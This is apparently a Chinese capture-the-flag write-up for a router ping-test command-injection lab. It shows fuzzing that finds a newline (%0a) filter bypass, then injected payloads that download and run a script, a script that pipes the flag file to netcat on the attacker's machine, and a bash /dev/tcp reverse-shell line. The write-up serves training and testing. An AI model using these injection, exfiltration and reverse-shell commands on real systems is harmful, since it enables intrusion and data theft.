介绍:路由器管理台经常存在的网络ping测试,开发者常常会禁用大量的恶意字符串

version: "3.2"

services:
  converter:
    image: registry.cn-hangzhou.aliyuncs.com/n1book/web-command:latest
    ports:
      - 80:80

本地搭建docker-compose

打开题目

image.png

输入127.0.0.1&&id,发现报错。存在恶意字符过滤

image.png

抓包进行fuzz扫描测试

fuzz字典

"~","!","@","#","$","%","^","&","*","(",")","-","_","\\","[","]"," ' ","%0a","%0b","%0c","%0d"

image.png

两个回显长度,不一致。

测试%0a是否可以绕过

image.png

image.png

说明可以绕过

在本地操作机中写入shell文件 1.sh

ls
cat /FLAG | nc 自己的操作机 4444

由于docker是没有bash、python程序的,并且sh反弹是不行的

bash -i >& /dev/tcp/127.0.0.1/4444 0>&1

开启apache服务,可以通过网络访问1.sh

抓包,让靶机下载1.sh

127.0.0.1%0acurl 操作机ip > /tmp/1.sh

image.png

下载到/tmp/sh.sh

给这个sh脚本加权限

127.0.0.1%0achmod 777 /tmp/sh.sh

在操作机中开启监听端口 4444

nc -lvvp 4444

在靶机中运行sh脚本取得flag

image.png